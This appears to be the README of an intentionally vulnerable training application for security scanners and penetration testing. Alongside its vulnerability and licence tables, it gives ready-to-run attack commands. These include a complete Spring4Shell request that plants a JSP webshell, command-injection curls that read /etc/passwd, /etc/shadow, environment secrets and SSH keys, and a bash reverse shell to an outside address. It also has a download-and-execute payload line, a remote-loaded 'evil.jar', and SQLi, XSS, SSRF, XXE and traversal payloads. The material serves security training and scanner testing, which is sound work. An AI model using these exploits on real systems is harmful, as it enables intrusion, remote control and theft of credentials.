GoCortex Broken Bank is an intentionally vulnerable application designed specifically to support Palo Alto Networks Cortex Cloud + Palo Alto Networks Cortex XSIAM/XDR training. It contains deliberately implemented security vulnerabilities for CI/CD security validation, covering common misconfigurations for assessment and exploitation.
The application is split into three servers: a Flask service for SAST-style findings, a Tomcat service for realistic Java RCE testing, and a React/Next.js service exposing CVE-2025-55182 (React2Shell RCE).
- Purpose: SAST (Static Application Security Testing) endpoints
- Technology: Python 3.11, Flask 2.0.1, Gunicorn 20.1.0
- Coverage: 42 vulnerability endpoints including SQL injection, XSS, SSRF, weak cryptography
- Testing Focus: Code-level vulnerabilities, secrets detection, license compliance
- Purpose: Exploit endpoints for penetration testing and RCE validation
- Technology: Apache Tomcat 8.5.0, OpenJDK 17, Spring Framework 5.3.0
- Coverage: 6 critical RCE endpoints including Spring4Shell (CVE-2022-22965)
- Testing Focus: Enterprise Java exploitation scenarios commonly targeted by DAST and RCE detection engines
- Purpose: SpaceATM Terminal simulator exposing React Server Components RCE (CVE-2025-55182)
- Technology: Next.js 16.0.6, React 19.2.0, Node.js 20
- Coverage: Pre-authentication RCE via RSC Flight protocol deserialisation
- Testing Focus: Modern JavaScript framework vulnerabilities, supply chain risk from vulnerable React/Next.js versions
Why Tri-Server Architecture?
Security scanners and penetration testing tools treat each runtime differently. By hosting endpoints on their native platforms:
- Improves detection rates in tools that treat Tomcat-based applications differently from lightweight Python services
- Realistic Java/Spring vulnerability testing
- Scanner recognition of critical RCE endpoints on their native platform
- Alignment with real-world enterprise application stacks
- Modern JavaScript framework RCE testing via deliberately vulnerable React/Next.js versions
This application is purpose-built for:
- Cortex Cloud Application Security Testing - Validate your Cortex Cloud security policies
- CI/CD Pipeline Integration - Test automated security scanning in DevSecOps workflows
- Security Tool Benchmarking - Sanity-check what different SAST and DAST tools actually flag in practice
- Educational Training - Learn about common application security vulnerabilities in a controlled environment
This application contains intentionally vulnerable code implementing multiple security flaws including:
Endpoint Exploitability Guide: For detailed information about which Flask endpoints are exploitable versus simulation-only, see ENDPOINTS_EXPLOITABILITY.md which categorises all 42 endpoints by their actual exploitability level:
- 30 Exploitable - Endpoints that execute vulnerable code rather than returning static results
- 6 Partially Exploitable - Execute code with limitations or simulated behaviour
- 6 Simulation Only - Return configuration strings for SAST scanner detection
| Vulnerability Type | Endpoint | Description | Checkov Policy IDs |
|---|---|---|---|
| SQL Injection | /search |
Database query injection | CKV3_SAST_51 |
| Cross-Site Scripting | /comment |
XSS with unescaped output | CKV3_SAST_89 |
| LDAP Injection | /ldap |
Directory service injection | CKV3_SAST_61 |
| Insecure Deserialisation | /deserialize |
Pickle vulnerability | CKV3_SAST_58 |
| Server-Side Request Forgery | /fetch |
SSRF with disabled SSL verification | CKV3_SAST_189, CKV3_SAST_186 |
| XML External Entity | /xml |
XXE parser vulnerability | CKV3_SAST_50, CKV3_SAST_90 |
| HTTP Header Injection | /redirect |
Response header manipulation | CKV3_SAST_88 |
| Weak SSL/TLS Configuration | /ssl_test |
Inadequate transport security | CKV3_SAST_65, CKV3_SAST_67 |
| Weak Cryptography | /hash |
MD5 hashing without salt | CKV3_SAST_55, CKV3_SAST_72 |
| Weak AES Encryption | /encrypt |
Static IV and weak modes | CKV3_SAST_68, CKV3_SAST_59 |
| Unauthenticated Key Exchange | /keyexchange |
Key exchange without authentication | CKV3_SAST_98, CKV3_SAST_10 |
| Path Traversal | /file |
Directory traversal attack | CKV3_SAST_86, CKV3_SAST_173, CKV3_SAST_169 |
| Wildcard Injection | /wildcard |
User-controlled glob patterns | CKV3_SAST_170 |
| NoSQL Injection | /mongo |
MongoDB query injection | CKV3_SAST_52 |
| Weak Database Authentication + SQL Injection | /database |
Hardcoded credentials, raw SQL execution | CKV3_SAST_71, CWE-89 |
| JWT Without Verification | /token |
Unsigned JWT processing | CKV3_SAST_54 |
| Improper Access Control | /admin |
Weak authorisation | CKV3_SAST_97 |
| JSON Code Injection | /json |
Eval-based JSON parsing | CKV3_SAST_82 |
| Information Disclosure | /debug |
Application config exposure | CKV3_SAST_96 |
| Insecure Logging | /log |
User input in logs | CKV3_SAST_62, CKV3_SAST_57 |
| Template Injection | /template |
Disabled autoescape | CKV3_SAST_60, CKV3_SAST_175 |
| Improper Exception Handling | /exception |
Silent failures | CKV3_SAST_4 |
| Weak Random Generation | /random |
Predictable values | CKV3_SAST_167 |
| None Attribute Access | /none |
Null pointer access | CKV3_SAST_73 |
| CSRF Protection Disabled | /transfer |
Money transfer without CSRF protection | CKV3_SAST_56 |
| Cleartext Credential Transmission | /credentials |
Credentials sent in cleartext | CKV3_SAST_93 |
| ML Model Download Without Integrity | /ml_model |
Model download without hash verification | CKV3_SAST_99 |
| PyTorch Missing Hash Check | /pytorch |
PyTorch model loading vulnerability | CKV3_SAST_194 |
| Redis Configuration Without SSL | /redis |
Unencrypted Redis connections | CKV3_SAST_187 |
| Improper Pathname Limitation | /download |
File download path manipulation | CKV3_SAST_169 |
| HTML Tag Neutralisation Failure | /html |
Unescaped HTML output | CKV3_SAST_175 |
| Uncontrolled Resource Consumption | /resource |
Memory exhaustion vulnerability | CKV3_SAST_91 |
| Configuration Input Code Injection | /config |
Config parameter execution | CKV3_SAST_168 |
| Custom URL Scheme Authorisation | /custom_scheme |
Improper scheme handling | CKV3_SAST_70 |
| LDAP Anonymous Binding | /ldap_anon |
Anonymous LDAP authentication | CKV3_SAST_66 |
| File Permission Vulnerabilities | /permissions |
World-readable/writable files | CKV3_SAST_69 |
| Insecure IPMI Configuration | /ipmi |
Hardware management vulnerabilities | CKV3_SAST_37 |
| Cleartext Email Transmission | /email |
Unencrypted SMTP | CKV3_SAST_63 |
| TensorFlow Model Security | /tensorflow |
Insecure model loading | CKV3_SAST_194 |
| Resource Exhaustion | /exhaust |
Memory exhaustion attacks | CKV3_SAST_91 |
| Vulnerability Type | Endpoint | Description | Technology | CVE References |
|---|---|---|---|---|
| Unrestricted File Upload | /exploit-app/upload |
JSP webshell deployment allowing arbitrary code execution | Servlet API 4.0.1 | N/A (Common OWASP A03) |
| Command Injection (Runtime.exec) | /exploit-app/execute |
OS command execution via Runtime.exec() without input validation | Java Runtime API | CWE-78 |
| Command Injection (ProcessBuilder) | /exploit-app/ping |
Shell-based command injection through ProcessBuilder | Java ProcessBuilder | CWE-78 |
| Dynamic Class Loading | /exploit-app/dynamic |
Arbitrary code execution via URLClassLoader from remote JAR files | Java URLClassLoader | CWE-470 |
| Script Engine Evaluation | /exploit-app/eval |
JavaScript/Groovy code execution through ScriptEngine API | Nashorn, Groovy | CWE-95 |
| Spring4Shell RCE | /exploit-app/spring4shell |
Class loader manipulation for JSP webshell deployment | Spring Framework 5.3.0 | CVE-2022-22965 |
| Vulnerability Type | Endpoint | Description | Technology | CVE References |
|---|---|---|---|---|
| RSC Flight Protocol RCE | POST / (any route) |
React Server Components Flight protocol deserialisation RCE via Next-Action header |
Next.js 16.0.6, React 19.2.0 | CVE-2025-55182 (CVSS 10.0), CVE-2025-66478 |
The SpaceATM Terminal runs a deliberately vulnerable version of Next.js (16.0.6) with React 19.2.0, exposing a critical deserialisation vulnerability in the React Server Components Flight protocol. The vulnerability is in the framework itself: any POST request to any route with a Next-Action header triggers the RSC deserialisation handler, which unsafely evaluates attacker-controlled payloads. No authentication is required.
| CVE ID | CVSS Score | Vulnerability Type | Description |
|---|---|---|---|
| CVE-2020-1938 | 9.8 CRITICAL | Ghostcat AJP Connector | Arbitrary file read and RCE via AJP protocol |
| CVE-2020-9484 | 7.0 HIGH | Deserialization RCE | Remote code execution via session deserialization |
| CVE-2021-25122 | 7.5 HIGH | Request Smuggling | HTTP request smuggling vulnerability |
| CVE-2023-42795 | 5.3 MEDIUM | Information Disclosure | Incomplete cleanup of recycled objects |
| CVE-2023-45648 | 5.3 MEDIUM | Request Smuggling | Additional HTTP request smuggling variant |
CVSS Score: 9.8 (Critical)
Affected Version: Spring Framework 5.3.0
Requirements for Exploitation:
- JDK 9 or higher (OpenJDK 17 in this application)
- Apache Tomcat as servlet container
- WAR deployment (not Spring Boot executable JAR)
- Spring MVC with form parameter binding
Technical Details:
Spring4Shell exploits data binding functionality to access the class.module.classLoader object (introduced in JDK 9). Attackers can manipulate Tomcat's AccessLogValve properties to write JSP webshells into the application root directory.
Exploitation Flow:
- Send crafted HTTP request with special parameters targeting class loader
- Modify Tomcat's AccessLogValve configuration via Spring data binding
- Configure valve to write JSP content to Tomcat's webapps directory
- Trigger webshell creation through subsequent request
- Access webshell for arbitrary command execution
Exploit Parameters:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
| Secret Type | Description | Checkov Policy IDs | Count |
|---|---|---|---|
| AWS Access Keys | Multiple hardcoded AWS credentials | CKV_SECRET_2, CKV_SECRET_1 | 5+ |
| OpenAI API Keys | GPT API tokens | CKV_SECRET_107 | 3+ |
| Database Credentials | Hardcoded database passwords | CKV3_SAST_71 | 8+ |
| GitHub Tokens | Repository access tokens | CKV_SECRET_43 | 4+ |
| Stripe API Keys | Payment processing secrets | CKV_SECRET_17 | 3+ |
| Slack Tokens | Workspace and bot tokens | CKV_SECRET_14 | 4+ |
| Twitter API Keys | Social media authentication | CKV_SECRET_20 | 3+ |
| Google API Keys | Cloud services credentials | CKV_SECRET_6 | 5+ |
| Azure Credentials | Microsoft cloud authentication | CKV_SECRET_3 | 4+ |
| JWT Secrets | Token signing keys | CKV_SECRET_45 | 6+ |
| Discord Tokens | Bot and application tokens | CKV_SECRET_41 | 3+ |
| PayPal Credentials | Payment gateway secrets | CKV_SECRET_18 | 2+ |
| Dropbox Tokens | File storage API keys | CKV_SECRET_39 | 3+ |
| Twilio Credentials | SMS and communication APIs | CKV_SECRET_22 | 4+ |
| Mailgun Keys | Email service authentication | CKV_SECRET_26 | 2+ |
| Redis Passwords | Database connection strings | CKV_SECRET_31 | 3+ |
| MongoDB Credentials | NoSQL database authentication | CKV_SECRET_32 | 4+ |
| Docker Hub Tokens | Container registry access | CKV_SECRET_48 | 2+ |
| SSH Private Keys | Server access credentials | CKV_SECRET_50 | 3+ |
| Additional API Keys | Various service credentials | Multiple policies | 15+ |
GoCortex Broken Bank integrates 71 PyGremlinBox packages (65 varied license packages + 6 malware simulation packages) by Simon Sigre for license compliance and malware simulation testing:
| License Type | Package | Policy Risk Level | SCA Detection Trigger |
|---|---|---|---|
| AGPL 1.0 | pygremlinbox-agpl-1-0 |
CRITICAL | Affero GPL v1 network copyleft obligations |
| AGPL 1.0 Only | pygremlinbox-agpl-1-0-only |
CRITICAL | AGPL v1 exact version restriction |
| AGPL 1.0 or Later | pygremlinbox-agpl-1-0-or-later |
CRITICAL | AGPL v1+ version flexibility clause |
| AGPL 3.0 | pygremlinbox-agpl-3-0 |
CRITICAL | Affero GPL v3 network copyleft obligations |
| AGPL 3.0 Only | pygremlinbox-agpl-3-0-only |
CRITICAL | AGPL v3 exact version restriction |
| AGPL 3.0 or Later | pygremlinbox-agpl-3-0-or-later |
CRITICAL | AGPL v3+ version flexibility clause |
| APSL | pygremlinbox-apsl |
MEDIUM | Apple Public Source License restrictions |
| Arphic 1999 | pygremlinbox-arphic-1999 |
MEDIUM | Arphic Public License font restrictions |
| Artistic 1.0 | pygremlinbox-artistic-1-0 |
MEDIUM | Perl Artistic License obligations |
| BUSL 1.1 | pygremlinbox-busl-1-1 |
HIGH | Business Source License time-delayed open source |
| C-UDA 1.0 | pygremlinbox-c-uda-1-0 |
MEDIUM | C User Data Agreement license |
| CAL 1.0 Combined Work Exception | pygremlinbox-cal-1-0-combined-work-exception |
HIGH | Cryptographic Autonomy License exceptions |
| CC BY-NC 3.0 DE | pygremlinbox-cc-by-nc-3-0-de |
HIGH | Creative Commons NonCommercial Germany |
| CC BY-NC-ND 3.0 DE | pygremlinbox-cc-by-nc-nd-3-0-de |
HIGH | Creative Commons NonCommercial NoDerivatives Germany |
| CC BY-NC-ND 3.0 IGO | pygremlinbox-cc-by-nc-nd-3-0-igo |
HIGH | Creative Commons NonCommercial NoDerivatives IGO |
| CC BY-NC-SA 2.0 DE | pygremlinbox-cc-by-nc-sa-2-0-de |
HIGH | Creative Commons NonCommercial ShareAlike Germany v2 |
| CC BY-NC-SA 2.0 FR | pygremlinbox-cc-by-nc-sa-2-0-fr |
HIGH | Creative Commons NonCommercial ShareAlike France |
| CC BY-NC-SA 2.0 UK | pygremlinbox-cc-by-nc-sa-2-0-uk |
HIGH | Creative Commons NonCommercial ShareAlike UK |
| CC BY-NC-SA 3.0 DE | pygremlinbox-cc-by-nc-sa-3-0-de |
HIGH | Creative Commons NonCommercial ShareAlike Germany v3 |
| CC BY-NC-SA 3.0 IGO | pygremlinbox-cc-by-nc-sa-3-0-igo |
HIGH | Creative Commons NonCommercial ShareAlike IGO |
| CC BY-ND 3.0 DE | pygremlinbox-cc-by-nd-3-0-de |
MEDIUM | Creative Commons NoDerivatives Germany |
| CC BY-SA 2.0 UK | pygremlinbox-cc-by-sa-2-0-uk |
HIGH | Creative Commons ShareAlike UK v2 |
| CC BY-SA 2.1 JP | pygremlinbox-cc-by-sa-2-1-jp |
HIGH | Creative Commons ShareAlike Japan |
| CC BY-SA 3.0 AT | pygremlinbox-cc-by-sa-3-0-at |
HIGH | Creative Commons ShareAlike Austria |
| CC BY-SA 3.0 DE | pygremlinbox-cc-by-sa-3-0-de |
HIGH | Creative Commons ShareAlike Germany v3 |
| CC BY-SA 4.0 | pygremlinbox-cc-by-sa-4-0 |
HIGH | Creative Commons ShareAlike International |
| CDDL 1.0 | pygremlinbox-cddl-1-0 |
HIGH | Common Development Distribution License |
| CDLA Sharing 1.0 | pygremlinbox-cdla-sharing-1-0 |
HIGH | Community Data License Agreement |
| CERN OHL S 2.0 | pygremlinbox-cern-ohl-s-2-0 |
HIGH | CERN Open Hardware License Strongly Reciprocal |
| CERN OHL W 2.0 | pygremlinbox-cern-ohl-w-2-0 |
MEDIUM | CERN Open Hardware License Weakly Reciprocal |
| Copyleft Next 0.3.0 | pygremlinbox-copyleft-next-0-3-0 |
HIGH | Next-generation copyleft license |
| Copyleft Next 0.3.1 | pygremlinbox-copyleft-next-0-3-1 |
HIGH | Next-generation copyleft license v0.3.1 |
| CPOL 1.02 | pygremlinbox-cpol-1-02 |
MEDIUM | Code Project Open License |
| eCos 2.0 | pygremlinbox-ecos-2-0 |
HIGH | eCos License version 2.0 |
| EPL 1.0 | pygremlinbox-epl-1-0 |
MEDIUM | Eclipse Public License v1 restrictions |
| EPL 2.0 | pygremlinbox-epl-2-0 |
MEDIUM | Eclipse Public License v2 restrictions |
| EUPL 1.1 | pygremlinbox-eupl-1-1 |
MEDIUM | European Union Public License v1.1 |
| EUPL 1.2 | pygremlinbox-eupl-1-2 |
MEDIUM | European Union Public License v1.2 |
| EUPL 3.0 | pygremlinbox-eupl-3-0 |
MEDIUM | European Union Public License v3.0 |
| FDK AAC | pygremlinbox-fdk-aac |
HIGH | Fraunhofer FDK AAC Codec License |
| GPL 2.0 | pygremlinbox-gpl-2-0 |
CRITICAL | GNU General Public License v2 |
| GPL 3.0 | pygremlinbox-gpl-3-0 |
CRITICAL | Strong copyleft license obligations |
| Hippocratic 2.1 | pygremlinbox-hippocratic-2-1 |
HIGH | Ethical use restrictions and compliance |
| JPL Image | pygremlinbox-jpl-image |
MEDIUM | Jet Propulsion Laboratory Image Use Policy |
| LGPL 2.0 | pygremlinbox-lgpl-2-0 |
HIGH | Legacy LGPL v2 copyleft requirements |
| LGPL 2.1 | pygremlinbox-lgpl-2-1 |
HIGH | Legacy LGPL v2.1 copyleft requirements |
| LGPL 3.0 | pygremlinbox-lgpl-3-0 |
HIGH | Lesser GNU GPL copyleft obligations |
| Linux Man Pages Copyleft | pygremlinbox-linux-man-pages-copyleft |
MEDIUM | Linux documentation license |
| MPL 1.1 | pygremlinbox-mpl-1-1 |
MEDIUM | Mozilla Public License v1.1 copyleft |
| MPL 2.0 | pygremlinbox-mpl-2-0 |
MEDIUM | Mozilla Public License v2 copyleft |
| MS-LPL | pygremlinbox-ms-lpl |
MEDIUM | Microsoft Limited Public License |
| NCGL UK 2.0 | pygremlinbox-ncgl-uk-2-0 |
HIGH | Non-Commercial Government License UK |
| OpenPBS 2.3 | pygremlinbox-openpbs-2-3 |
MEDIUM | OpenPBS Software License |
| OSL 3.0 | pygremlinbox-osl-3-0 |
HIGH | Open Software License restrictions |
| PolyForm NC 1.0.0 | pygremlinbox-polyform-noncommercial-1-0-0 |
HIGH | PolyForm Noncommercial restrictions |
| PolyForm Small Business 1.0.0 | pygremlinbox-polyform-small-business-1-0-0 |
HIGH | PolyForm Small Business License |
| QPL 1.0 INRIA 2004 | pygremlinbox-qpl-1-0-inria-2004 |
MEDIUM | Q Public License INRIA variant |
| Sendmail 8.23 | pygremlinbox-sendmail-8-23 |
MEDIUM | Sendmail License |
| SIMPL 2.0 | pygremlinbox-simpl-2-0 |
HIGH | Simple Public License |
| SSPL 1.0 | pygremlinbox-sspl-1-0 |
CRITICAL | Server Side Public License MongoDB |
| TAPR OHL 1.0 | pygremlinbox-tapr-ohl-1-0 |
HIGH | TAPR Open Hardware License |
| TPL 1.0 | pygremlinbox-tpl-1-0 |
MEDIUM | THOR Public License |
| UCL 1.0 | pygremlinbox-ucl-1-0 |
MEDIUM | Upstream Compatibility License |
| Unlicense | pygremlinbox-unlicense |
PUBLIC DOMAIN | Public domain dedication policies |
| wxWindows | pygremlinbox-wxwindows |
MEDIUM | wxWindows Library License |
| Simulation Type | Package | Detection Category | Security Testing Purpose |
|---|---|---|---|
| Network Indicators | pygremlinbox-malware-network-indicators |
MALWARE | Network-based threat detection patterns |
| C2 Beacon | pygremlinbox-malware-c2-beacon |
MALWARE | Command and control communication signatures |
| Code Obfuscation | pygremlinbox-malware-code-obfuscation |
MALWARE | Obfuscated code detection techniques |
| Install Execution | pygremlinbox-malware-install-execution |
MALWARE | Malware installation and execution patterns |
| Credential Harvesting | pygremlinbox-malware-credential-harvesting |
MALWARE | Credential theft detection signatures |
| Cryptomining Indicators | pygremlinbox-malware-cryptomining-indicators |
MALWARE | Cryptomining activity detection patterns |
License Testing Features:
- 65 Diverse License Types for SCA policy coverage
- Commercial Use Restrictions triggering compliance alerts
- Copyleft Obligations requiring source code disclosure
- Network Copyleft Clauses (AGPL, SSPL) for SaaS applications
- Ethical Use Licenses (Hippocratic) with moral restrictions
- Time-Delayed Open Source (Business Source License) complexities
- Multi-Jurisdictional Coverage (Germany, UK, EU, France, Japan, Austria variants)
- Business Model Restrictions (PolyForm Noncommercial, Small Business)
- Hardware Licenses (CERN OHL, TAPR OHL) for embedded systems
- Version-Specific Restrictions (AGPL 1.0 Only, 3.0 Only, or-later clauses)
- Creative Commons Variants (NonCommercial, NoDerivatives, ShareAlike combinations)
- Conflicting license compatibility matrices for policy validation
- These packages are embedded within normal dependency chains so SCA tools must identify them under realistic conditions
The application includes 5 fictitious threat domains embedded throughout the codebase for automated security scanner validation:
| Test Domain | Purpose | Location |
|---|---|---|
| https://urlfiltering.paloaltonetworks.com/test-malware | Official Palo Alto Networks test endpoint for malware filtering validation | app.py, config.py, secrets.py |
| malware.sigre.xyz | Simulated malware domain for security testing purposes | app.py, config.py, secrets.py |
| hacker.sigre.xyz | Test hacker domain for security validation | config.py, secrets.py, config/localise.yaml |
| c2.sigre.xyz | Command and control test domain | app.py, config.py, secrets.py |
| botnet.sigre.xyz | Botnet simulation domain for cybersecurity testing | app.py, config.py, secrets.py |
Important: These domains are entirely fictitious and used solely for validating URL filtering and threat detection capabilities. They are embedded within:
- Application source code for testing coverage
- Configuration files for security scanner validation
- Secret management files for realistic threat simulation
- Test configuration files for systematic validation
The following CURL commands demonstrate exploitation of Java/Tomcat endpoints for exploitation testing:
| Vulnerability Type | Endpoint | CURL Command Example | Attack Purpose |
|---|---|---|---|
| JSP Webshell Upload | /exploit-app/upload |
curl -F "file=@shell.jsp" "http://localhost:9999/exploit-app/upload" |
Upload JSP webshell for persistent remote code execution |
| Runtime.exec() Command Injection | /exploit-app/execute |
curl "http://localhost:9999/exploit-app/execute?cmd=whoami" |
Direct OS command execution via Java Runtime API |
| ProcessBuilder Command Injection | /exploit-app/ping |
curl "http://localhost:9999/exploit-app/ping?target=127.0.0.1%3B%20cat%20/etc/passwd" |
Shell command injection through ProcessBuilder |
| Remote JAR Class Loading | /exploit-app/dynamic |
curl "http://localhost:9999/exploit-app/dynamic?url=https://raw.githubusercontent.com/YOUR_USERNAME/broken-bank/main/vulnerable_data/payloads/evil.jar&class=com.gocortex.payload.RCEPayload&method=execute" |
Load and execute arbitrary classes from remote sources (replace YOUR_USERNAME with your GitHub username) |
| JavaScript Code Evaluation | /exploit-app/eval |
curl "http://localhost:9999/exploit-app/eval?code=java.lang.Runtime.getRuntime().exec('id')&engine=JavaScript" |
Execute JavaScript code with Java interop capabilities |
| Spring4Shell Exploitation | /exploit-app/spring4shell |
See Spring4Shell section below for multi-step exploitation | CVE-2022-22965 RCE via class loader manipulation |
Step 1: Deploy JSP Webshell via AccessLogValve Manipulation
curl 'http://localhost:9999/exploit-app/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&name=test' \
-H 'suffix: %>//' \
-H 'c1: Runtime' \
-H 'c2: <%'Explanation: This exploit manipulates Spring's parameter binding to access Tomcat's AccessLogValve object. The %{c1}i, %{c2}i, and %{suffix}i placeholders in the pattern are replaced by HTTP header values (c1: Runtime, c2: <%, suffix: %>//), causing Tomcat to write a JSP webshell to webapps/ROOT/shell.jsp.
Step 2: Execute Commands via Webshell
curl 'http://localhost:9999/shell.jsp?pwd=j&cmd=whoami'
curl 'http://localhost:9999/shell.jsp?pwd=j&cmd=id'
curl 'http://localhost:9999/shell.jsp?pwd=j&cmd=cat /etc/passwd'The repository includes a pre-built malicious JAR payload (vulnerable_data/payloads/evil.jar) for testing the /exploit-app/dynamic endpoint. This payload is automatically compiled during Docker build and can be hosted via GitHub for remote exploitation testing.
Payload Capabilities:
- Command Execution: Execute arbitrary OS commands via
executeCommand(String cmd)method - Reverse Shell: Establish reverse connections via
reverseShell(String host, int port)method - Constructor Execution: Automatic code execution on class instantiation
Testing with evil.jar:
# Option 1: Reference via GitHub (after pushing to your repository)
curl "http://localhost:9999/exploit-app/dynamic?url=https://raw.githubusercontent.com/YOUR_USERNAME/broken-bank/main/vulnerable_data/payloads/evil.jar&class=com.gocortex.payload.RCEPayload&method=execute"
# Option 2: Host locally and reference via HTTP server
cd vulnerable_data/payloads
python3 -m http.server 8000 &
curl "http://localhost:9999/exploit-app/dynamic?url=http://localhost:8000/evil.jar&class=com.gocortex.payload.RCEPayload&method=execute"
# Option 3: Execute custom command
curl "http://localhost:9999/exploit-app/dynamic?url=https://raw.githubusercontent.com/YOUR_USERNAME/broken-bank/main/vulnerable_data/payloads/evil.jar&class=com.gocortex.payload.RCEPayload&method=executeCommand&args=id"Source Code: The payload source is available at vulnerable_data/payloads/src/com/gocortex/payload/RCEPayload.java and can be customised for specific testing scenarios.
The GoCortex Broken Bank Tomcat exploit endpoints are packaged as a deployable WAR (Web Application Archive) file for flexible deployment and testing scenarios.
WAR File Location:
./exploit-app/target/exploit-app.war
WAR File Contents:
The exploit-app.war archive contains all 6 intentionally vulnerable Java servlets and supporting infrastructure:
| Component | Description |
|---|---|
| UploadServlet | Unrestricted file upload for JSP webshell deployment (OWASP A03) |
| ExecuteServlet | OS command injection via Runtime.exec() without validation (CWE-78) |
| PingServlet | Shell-based command injection through ProcessBuilder (CWE-78) |
| DynamicServlet | Arbitrary code execution via URLClassLoader from remote JAR files (CWE-470) |
| EvalServlet | JavaScript/Groovy code execution through ScriptEngine API (CWE-95) |
| Spring4ShellController | CVE-2022-22965 RCE via class loader manipulation |
| index.jsp | Exploit endpoint directory listing and documentation |
| web.xml | Servlet mappings and intentionally weak security constraints |
| servlet-locale.properties | Internationalisation support for multi-language testing |
Building the WAR File:
# Navigate to exploit-app directory
cd exploit-app
# Clean and build the WAR file using Maven
mvn clean package
# WAR file generated at: ./target/exploit-app.warWAR File Uses:
-
Standard Deployment to Tomcat:
# Copy WAR to Tomcat webapps directory cp exploit-app/target/exploit-app.war /path/to/tomcat/webapps/ # Tomcat auto-deploys the application to /exploit-app context # Access at: http://localhost:9999/exploit-app/
-
Manual Deployment via Tomcat Manager:
# Deploy using Manager Script API curl -u admin:admin -T exploit-app/target/exploit-app.war \ http://localhost:9999/manager/text/deploy?path=/exploit-app # Verify deployment curl -u admin:admin http://localhost:9999/manager/text/list
-
Docker Container Deployment:
# WAR file is automatically deployed in Docker build # See Dockerfile: COPY exploit-app/target/exploit-app.war
-
Standalone Tomcat Testing:
# Download and extract Tomcat 8.5.0 wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/bin/apache-tomcat-8.5.0.tar.gz tar -xzf apache-tomcat-8.5.0.tar.gz # Deploy the WAR file cp exploit-app/target/exploit-app.war apache-tomcat-8.5.0/webapps/ # Start Tomcat apache-tomcat-8.5.0/bin/catalina.sh run
WAR File Size and Dependencies:
The WAR file includes all necessary dependencies:
- Spring Framework 5.3.0 (for Spring4Shell vulnerability)
- Servlet API 4.0.1
- Groovy ScriptEngine (for eval endpoint)
- Nashorn JavaScript engine (JDK 17 built-in)
Security Testing Applications:
- Penetration Testing: Deploy to test environments for hands-on RCE exploitation practice
- Security Scanner Validation: Test DAST/IAST tools against vulnerable Tomcat deployments
- CVE Detection: Validate scanner capabilities for detecting Spring4Shell (CVE-2022-22965)
- WAR Analysis: Test SCA tools for identifying vulnerable dependencies within WAR archives
- Deployment Security: Assess Tomcat Manager access controls and deployment mechanisms
Important: This WAR file contains intentionally vulnerable code and must NEVER be deployed to production Tomcat servers or environments accessible by unauthorised users.
The Tomcat Manager application is configured with intentionally weak credentials:
| Username | Password | Roles | Access Level |
|---|---|---|---|
admin |
admin |
manager-gui, manager-script, admin-gui | Full administrative access |
tomcat |
tomcat |
manager-gui, manager-script | Application deployment |
manager |
manager |
manager-gui, manager-script, manager-jmx | Management console access |
Manager Application Exploitation:
# Access Manager GUI (requires credentials)
curl -u admin:admin http://localhost:9999/manager/html
# Deploy malicious WAR file via Manager Script
curl -u admin:admin -T malicious.war http://localhost:9999/manager/text/deploy?path=/malicious
# List deployed applications
curl -u admin:admin http://localhost:9999/manager/text/listThe following examples demonstrate Flask SAST vulnerabilities for security testing.
curl "http://localhost:8888/search?q=' OR '1'='1"
curl "http://localhost:8888/ldap?user=admin)(|(password=*"curl "http://localhost:8888/comment?comment=<script>alert(document.cookie)</script>"curl "http://localhost:8888/fetch?url=http://169.254.169.254/latest/meta-data/"curl -X POST "http://localhost:8888/xml" -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'curl "http://localhost:8888/file?name=../../../../etc/passwd"curl "http://localhost:8888/deserialize?data=pickle_payload"curl "http://localhost:8888/template?content={{7*7}}"Note: These advanced exploitation examples use Tomcat endpoints (port 9999) for scanner detection.
| Attack Vector | CURL Command | Attack Purpose |
|---|---|---|
| Read Password File | curl "http://localhost:9999/exploit-app/execute?cmd=cat+/etc/passwd" |
Extracts system user accounts and home directories for privilege mapping |
| Attempt Shadow Access | curl "http://localhost:9999/exploit-app/execute?cmd=cat+/etc/shadow" |
Attempts to read password hashes (typically permission denied) |
| Check Sudo Privileges | curl "http://localhost:9999/exploit-app/execute?cmd=sudo+-l" |
Enumerates sudo permissions for privilege escalation paths |
| Network Port Enumeration | curl "http://localhost:9999/exploit-app/execute?cmd=netstat+-tlnp" |
Discovers listening services for lateral movement opportunities |
| Environment Secrets | curl "http://localhost:9999/exploit-app/execute?cmd=env" |
Extracts environment variables containing API keys and credentials |
| SSH Key Discovery | curl "http://localhost:9999/exploit-app/execute?cmd=ls+-la+/root/.ssh/" |
Searches for SSH keys enabling access to other systems |
| Find SUID Binaries | curl -G "http://localhost:9999/exploit-app/execute" --data-urlencode "cmd=find / -perm -4000 2>/dev/null" |
Discovers SUID binaries for potential privilege escalation to root access |
| Process Enumeration | curl -G "http://localhost:9999/exploit-app/execute" --data-urlencode "cmd=ps aux | grep -i java" |
Enumerates running processes to identify security monitoring tools |
| Reverse Shell via Java | curl -G "http://localhost:9999/exploit-app/execute" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'" |
Establishes outbound connection to attacker-controlled server bypassing firewalls |
| Download and Execute Payload | curl -G "http://localhost:9999/exploit-app/execute" --data-urlencode 'cmd=wget http://wildfire.paloaltonetworks.com/publicapi/test/elf -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload' |
Multi-stage attack downloading and executing external malware sample (may hang during payload execution) |
